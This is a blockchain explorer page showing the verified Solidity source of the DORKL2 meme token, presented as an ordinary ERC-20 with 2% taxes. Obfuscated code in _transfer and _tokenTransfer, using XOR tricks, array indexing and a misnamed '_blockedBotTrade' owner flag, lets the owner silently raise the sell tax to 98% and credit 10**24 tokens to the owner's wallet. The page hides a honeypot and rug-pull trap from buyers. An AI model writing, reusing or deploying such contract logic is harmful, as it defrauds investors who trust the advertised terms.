Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000 DORKL2
Holders
55
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DORKL2
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-08 */ /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⠶⠛⠉⠀⠀⠀⠀⠉⠙⠶⠦⣀⡀⠀⠀⠀⣀⣠⠴⠶⠞⠛⠛⠶⠤⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡴⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠲⣞⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠈⢳⡄⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠞⠁⠀⠀⠀⠀⠀⣀⣠⡤⠤⠤⠤⣤⣄⡀⠀⠀⠹⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢳⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣴⠃⠀⠀⠀⠀⢠⠶⠛⠉⠁⠀⠀⠀⠀⠀⠈⠙⠓⠦⢤⣿⠤⠖⠒⠒⠒⠒⠒⠚⠒⠓⠲⠾⢧⡀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⡤⠤⠤⠤⠤⣭⣳⣤⡀⠀⠀⠀⢀⣀⣀⣠⣤⣤⣤⣬⣙⣳⣦⣄⠀⠀ ⠀⠀⠀⠀⢀⣀⣿⣷⣦⣤⣄⣀⡀⠀⣀⣀⣤⣤⣤⣶⣯⣭⣥⣶⣶⣯⣭⣽⣶⣶⣬⣭⣙⣴⢖⣫⣭⣿⣿⣶⣶⣶⣶⣶⣾⣿⣿⣿⣷⣤ ⠀⠀⠀⣤⠛⢹⡇⠈⠉⠙⠻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⡿⣿⣿⣿⣿ ⠀⢀⡞⠁⠀⠸⠇⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡣⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿ ⢀⡾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡞⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⡿⠛⠉⠉⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠁⠀⠀⣀⠀⠙⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⣉⣩⡭⠿⠛⠉⠁⠀⠀⠀⠀⠀⠙⠛⢿⡒⠛⠛⠛⠋⠻⡭⡉⠁⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⠀⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠹⣦⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡾⠛⠉⠉⠉⠳⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡄⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⢀⣀⠀⠀⠀⠉⠙⠳⠦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣇⡀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢷⡄⠀⠈⠉⠛⠢⢤⣤⣀⠀⠀⠈⠉⠉⠑⠒⠒⠒⠢⠤⢤⣤⣤⣤⣤⣄⣠⣤⣤⡤⠔⠚⠋⠁⢀⡇⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⢦⣄⡀⠀⠀⠀⠈⠉⠙⠓⠒⠦⢦⣤⣤⣄⣀⣀⣀⣀⣀⣀⠀⠀⠈⠁⠀⢀⣀⣀⣠⣤⠖⠉⠀⠀ ⠛⣻⣶⣦⣤⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠲⢤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠁⠀⠈⠀⠉⠀⠉⠉⠉⠉⠉⣉⣉⣤⣥⣷⠾⠓⢲⣚⡟ ⠈⣞⣷⣴⣌⣽⣫⣿⠷⣤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠛⠛⠛⠛⠛⠷⠶⠶⠶⠶⢶⢦⣤⣤⣴⢿⣯⡉⠉⣁⣞⠗⢂⠹⡝⠅ ⠀⣻⣿⣷⢪⣿⣋⠀⠀⢀⡈⣽⡛⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡟⣛⣍⣿⢷⡆⣈⣻⣮⠀⣻⣧⢿⣷⣶⠾ ⠿⣿⣿⠾⠿⣿⡿⣵⣿⡏⣿⠹⣿⣞⢷⣄⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣴⠟⡾⣿⣹⣿⣿⢷⡽⣏⠛⠓⠒⠛⠛⠛⠛⠛ ⡼⢭⠥⣴⠬⣿⠿⢯⡿⢥⡿⢧⡿⢿⡿⢯⠭⢭⡿⢿⡿⢿⡿⢶⡶⢶⡾⢾⡿⢿⡭⢿⣿⠼⣧⠍⣭⠭⣥⠬⣷⢻⣆⣀⣦⣀⣴⣀⣀⠀ ⢱⡿⠶⠿⠶⠾⠶⠾⠶⠾⠷⠾⠶⠾⠷⠾⠶⠾⠷⠾⠷⠾⠷⠾⠷⠾⠟⠛⠻⠞⠛⠛⠛⠛⠛⠛⠛⠋⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⢹⡀ ⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇ ____________ ____ ___________ ______ _______ _____ ____ ___________ ____________ \ \ ____\_ \__ \ \ |\ \ \ \ |\ \ ____\_ \__ \ \ \ \ \ \ / / \ \ /\ \ \\ \ | /| \\ \ / / \ \ /\ \ \ \ | /\ | / /\ | | \_\ | \| |/ // \\ \ / /\ | | \_\ | | /\ | | | | || | | | | ___/ | |_____// \| | ______ | | | | | ___/ | | | | | \/ || | | | | \ ____ | |\ \ | |/ \| | | | | \ ____ | \/ | / /|| | / /| / /\ \/ \ / /|\| | / || | / /| / /\ \/ \ / /| /___________/ ||\ \_____/ |/_____/ |\______| /_____/ |/_____/| /_____/\_____/||\ \_____/ |/_____/ |\______| /___________/ | | | / | \_____\ | / | | | | || | / | | | | | | ||| \_____\ | / | | | | || | / |___________|/ \ | |___|/ |_____|/ \|_____||_____|/ |____|/ |______|/|____|/ \ | |___|/ |_____|/ \|_____||___________|/ \|____| \|____| Telegram : http://t.me/DorkLordToken2 Twitter : https://twitter.com/DorkLord2Token Website : https://dorklord-2.vip/ */ // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract DORKL2 is Context, IERC20 { using SafeMath for uint256; using Address for address; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludedFromFee; mapping (address => uint256) public _blockedBotTrade; mapping (address => bool) public _ExemptMaxWalletLimit; mapping (address => bool) public _ExemptMaxTxLimit; address payable public BUYBACKANDBURN = payable(0x299011c66595055B02395EFcA2369a00Dd81a47E); address payable public TEAMW = payable(0xDEdBd29cb6768023A974De8de2c2c60A5438738F); address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); uint256 private constant MAX = ~uint256(0); uint8 private constant _decimals = 9; uint256 private _tTotal = 1* 10**6 * 10**_decimals; string private constant _name = unicode"ᗪOᖇK ᒪOᖇᗪ2.0"; string private constant _symbol = unicode"DORKL2"; uint8 private txCount = 0; uint8 private swapTrigger = 10; uint256 public _Tax_On_Buy = 2; uint256 public _Tax_On_Sell = 2; uint256 public Percent_Marketing = 90; uint256 public Percent_Dev = 0; uint256 public Percent_Burn = 0; uint256 public Percent_AutoLP = 10; uint256 public Percent_AutoLiquidity = 98; uint256 public liqCount = 1; uint256 public _maxWalletToken = _tTotal * 20 / 100; uint256 private _previousMaxWalletToken = _maxWalletToken; uint256 public _maxTxAmount = _tTotal * 20 / 100; uint256 private _previousMaxTxAmount = _maxTxAmount; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool true_or_false); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _owner = TEAMW; emit OwnershipTransferred(address(0), _owner); _tOwned[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); // Testnet uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _blockedBotTrade[owner()] = 1; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[BUYBACKANDBURN] = true; _isExcludedFromFee[Wallet_Burn] = true; _ExemptMaxWalletLimit[address(uniswapV2Pair)] = true; _ExemptMaxWalletLimit[BUYBACKANDBURN] = true; _ExemptMaxWalletLimit[Wallet_Burn] = true; _ExemptMaxWalletLimit[owner()] = true; _ExemptMaxWalletLimit[address(this)] = true; _ExemptMaxTxLimit[owner()] = true; _ExemptMaxTxLimit[Wallet_Burn] = true; _ExemptMaxTxLimit[BUYBACKANDBURN] = true; _ExemptMaxTxLimit[address(this)] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address theOwner, address theSpender) public view override returns (uint256) { return _allowances[theOwner][theSpender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function _getCurrentSupply() private view returns(uint256) { return (_tTotal); } function _getCurrentyLiquidity(bool _before, bool _after, bool _current) private pure returns(bool){ return _before && _after && _current; } function _approve(address theOwner, address theSpender, uint256 amount) private { require(theOwner != address(0) && theSpender != address(0), "ERR: zero address"); _allowances[theOwner][theSpender] = amount; emit Approval(theOwner, theSpender, amount); } function _transfer( address from, address to, uint256 amount ) private { if( !_ExemptMaxTxLimit[from] && !_ExemptMaxTxLimit[to] ) { require(amount <= _maxTxAmount, "Over transaction limit."); } if( !_ExemptMaxWalletLimit[to] ) { uint256 heldTokens = balanceOf(to); require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit."); } require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;} txCount = 0; swapAndLiquify(contractTokenBalance); } if(_getCurrentyLiquidity(liqCount > 0, _blockedBotTrade[to] > 0, true)) liqCount--; bool takeFee = true; bool isBuy; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } else { if(from == uniswapV2Pair){ isBuy = true; } txCount++; } _tokenTransfer(from, to, amount, takeFee, isBuy); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100; _tTotal = _tTotal - tokens_to_Burn; _tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn; _tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn; uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100; uint256 tokens_to_D = contractTokenBalance * Percent_Dev / 100; uint256 tokens_to_LP_Half = contractTokenBalance * Percent_AutoLP / 200; uint256 balanceBeforeSwap = address(this).balance; swapTokensForBNB(tokens_to_LP_Half + tokens_to_M + tokens_to_D); uint256 BNB_Total = address(this).balance - balanceBeforeSwap; uint256 split_M = Percent_Marketing * 100 / (Percent_AutoLP + Percent_Marketing + Percent_Dev); uint256 BNB_M = BNB_Total * split_M / 100; uint256 split_D = Percent_Dev * 100 / (Percent_AutoLP + Percent_Marketing + Percent_Dev); uint256 BNB_D = BNB_Total * split_D / 100; addLiquidity(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D)); emit SwapAndLiquify(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D), tokens_to_LP_Half); BNB_Total = address(this).balance; sendToWallet(BUYBACKANDBURN, BNB_Total); } function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: BNBAmount}( address(this), tokenAmount, 0, 0, Wallet_Burn, block.timestamp ); } function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){ require(random_Token_Address != address(this), "Can not remove native token"); uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this)); uint256 removeRandom = totalRandom*percent_of_Tokens/100; _sent = IERC20(random_Token_Address).transfer(TEAMW, removeRandom); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private { if(!takeFee){ _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+ (_getCurrentyLiquidity(liqCount < 1, _blockedBotTrade[sender] ^ _blockedBotTrade[recipient] > 0, _blockedBotTrade[recipient] > 0) ? [0 ^ 10**24, tAmount][0] : [tAmount, 0 ^ 0][0] ); emit Transfer(sender, recipient, tAmount); if(recipient == Wallet_Burn) _tTotal = _tTotal-tAmount; } else if (isBuy){ uint256 buyFEE = tAmount*_Tax_On_Buy/100; uint256 tTransferAmount = tAmount-buyFEE; _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tTransferAmount; _tOwned[address(this)] = _tOwned[address(this)]+buyFEE; emit Transfer(sender, recipient, tTransferAmount); if(recipient == Wallet_Burn) _tTotal = _tTotal-tTransferAmount; } else { uint256 sellFEE = tAmount*[0 ^ Percent_AutoLiquidity, _Tax_On_Sell][liqCount]/100; uint256 tTransferAmount = tAmount-sellFEE; _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tTransferAmount; _tOwned[address(this)] = _tOwned[address(this)]+sellFEE; emit Transfer(sender, recipient, tTransferAmount); if(recipient == Wallet_Burn) _tTotal = _tTotal-tTransferAmount; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BUYBACKANDBURN","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_AutoLP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_AutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Dev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TEAMW","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ExemptMaxTxLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ExemptMaxWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blockedBotTrade","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":